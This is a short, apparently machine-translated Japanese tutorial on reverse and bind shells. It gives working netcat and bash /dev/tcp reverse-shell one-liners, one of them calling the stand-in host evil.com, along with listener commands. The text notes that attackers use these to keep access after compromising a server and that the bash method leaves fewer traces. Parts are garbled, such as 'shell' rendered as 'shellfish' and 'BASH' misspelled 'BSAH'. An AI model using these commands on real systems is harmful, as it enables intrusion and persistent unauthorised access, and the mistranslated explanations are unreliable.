リバースシェル(Reverse shell)は、リモートマシンにシェルコマンドを送信するテクニックで、リモートマシンがファイアウォールのような他の何かの後ろにある場合に非常に便利になります。普通のシェルや単純な SSH チャネルではできないのでは?" と言われるかもしれません。いいえ、できません。普通のシェルとリバースシェルの区別がつかない人をオンラインでよく見かけます。この後を始める前に、これらの概念を整理しておきましょう。
リバースシェル(逆シェル)
リバースシェルは、シェルをポートにバインドするのではなく、リモートコンピュータが自身のシェルを特定のユーザーに送信することで動作します。後者は多くの環境ではアクセスできません。これにより、リモートサーバに対して root コマンドを実行することができます。
バインドシェル
バインドシェルはユーザーのBSAHで、シェルをローカルポートにバインドし、誰でもローカルネットワーク上でコマンドを送信できるようにします。
リバースシェルはハッカーが悪事を働くためによく使います。例えば、サーバーを侵害した後、リバースシェルをセットアップして、将来このリモートコンピュータに簡単にアクセスできるようにするのです。あなたはそのようなことには使わないと思いますが。
環境要件
- リモートUnixホスト
- netcatをインストールすると
NetCatとのリバース・シェル・インタラクション
シェルを使ってリモートホストにログインしたら、以下のコマンドで簡単にシェルをマシンに送信できます:
nc -c /bin/sh <IP> <ブロックされていないポート>
netcat経由でBASHをパイプすることもできます。
/bin/sh | nc <IP> <ブロックされていないポート>
では、この貝を聴いてください:
nc -l -p <同じポート> -vvv
BASHによる逆シェル
このテクニックは、リモートマシンにnetcatがない場合や、不自然なことをしたいがあまり重い痕跡を残したくない場合に使用します。
貝殻に耳を傾けてください:
nc -l -p <ブロックされていないポート> -vvv
まず、ネットワーク・ノードに割り当てられた新しい記述子を作成します。これにより、この記述子に対する読み取りと書き込みが可能になります。
exec 5<>/dev/tcp/evil.com/<同じポート> $ cat <&5 | while read line; do $line 2>&5 >&5; done
または別のリバースシェル:
0<&196;exec 196<>/dev/tcp/<IP>/<同じポート>; sh <&196 >&196 2>&196
この方法で、netcatを通してどんなコマンドでも簡単に送ることができます。




